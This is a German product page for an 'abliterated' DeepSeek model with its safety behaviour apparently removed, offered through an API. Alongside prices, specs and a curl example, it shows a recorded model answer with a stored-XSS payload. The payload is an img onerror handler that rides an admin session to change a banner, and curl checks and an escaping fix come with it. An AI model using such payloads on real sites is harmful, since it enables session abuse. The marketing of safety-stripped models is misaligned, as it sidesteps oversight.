DeepSeek V4.1 Flash Abliterated

deepseek-v4.1-flash-abliterated

Im Browser-Chat und über die OpenAI-kompatible API verfügbar.

Chat öffnen API-Beispiel

Tokenpreise

Preise in USD pro 1 Million Token

Eingabe / 1M: 0,300 $
Zwischengespeichert / 1M: 0,100 $
Ausgabe / 1M: 0,300 $

Modellspezifikationen

DeepSeek · abliteriert

Kontextfenster: 1.000.000 Tokens
Maximale Ausgabe: 65.536 Tokens
Fähigkeiten: Text · Streaming · Tool-Aufrufe

Gemessene Leistung

Ø Tokens/Sek.: ≈ 40,4
TTFT-Schätzung: ≈ 24,9 s
Verfügbarkeitsindikator: 100%

Aktualisiert 01.11.26, 20:37:37 UTC · Anbieter-Erfolgsquote über 24 Stunden · Ein Strich bedeutet, dass aktuelle Messdaten fehlen.

Sieh die Modellantwort

Eine echte Antwort auf eine Stored-XSS-Frage für ein lokales Testlabor. Originalfrage und Antwort sind auf Englisch. Die Ausgabe ist Text; hier wird kein Beispielcode ausgeführt.

DeepSeek V4.1 Flash Abliterated

Aufgezeichnete Modellantwort · 28.10.2026, 19:09 UTC

Sie

Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.

DeepSeek V4.1 Flash Abliterated

Ausgewählter Auszug aus der aufgezeichneten Antwort. Einige Teile wurden ausgelassen.

## Payload (event handler survives the <script> strip)

<img src=x onerror="fetch('/admin/banner',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'text=OWNED IN THE LAB',credentials:'same-origin'})">

Sanity checks: curl -s -X POST localhost:3000/admin/banner -d 'text=x' → no (401). With -b 'admin=1' → ok. ## Fix Keep the naive filter for tidiness, but escape at render time so only markup you emit is live:

<ul>${comments.map(c=>'<li>'+esc(c)+'</li>').join('')}</ul>

Ein aufgezeichnetes Beispiel, kein Live-Chat.Chat öffnen

Dieses Modell über die API nutzen

Erstelle einen API-Schlüssel und lade Guthaben auf. Setze UNCENSOREDLABS_API_KEY in deiner Umgebung. Installiere das Paket openai für JavaScript oder Python.

curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
  -H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "deepseek-v4.1-flash-abliterated",
    "messages": [{"role": "user", "content": "Hello, world."}],
    "max_tokens": 256,
    "stream": true
  }'

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Einschränkungen und Abrechnung

Ungefiltert garantiert keine Antwort auf jede Anfrage. Antworten können falsch oder unvollständig sein oder vom Modell verweigert werden.
Die maximale Ausgabe ist das Dienstlimit von UncensoredLabs. Lange Generierungen und Aufgaben mit vollem Kontext wurden nicht per Benchmark geprüft.
Guthaben wird für die angeforderte Ausgabe und eine konservative Eingabegrenze reserviert. Bei Modellen ohne verifizierte anfragebezogene Abrechnung gilt das volle Kontextfenster. Endgültige Gebühren beruhen auf verifizierter Nutzung; unklare Anfragen können ihre Reservierung behalten.
Anfragen haben ein Zeitlimit von zehn Minuten. Raten- und Parallelitätslimits sowie die Anbieterverfügbarkeit gelten; API-Fehler umfassen 429 mit Retry-After.
UncensoredLabs speichert keine Eingaben oder Antworten auf seinen Servern. Es gilt die Aufbewahrungsrichtlinie des Inferenzanbieters.

Fehler und Ratenlimits So funktioniert die Abrechnung Datenschutz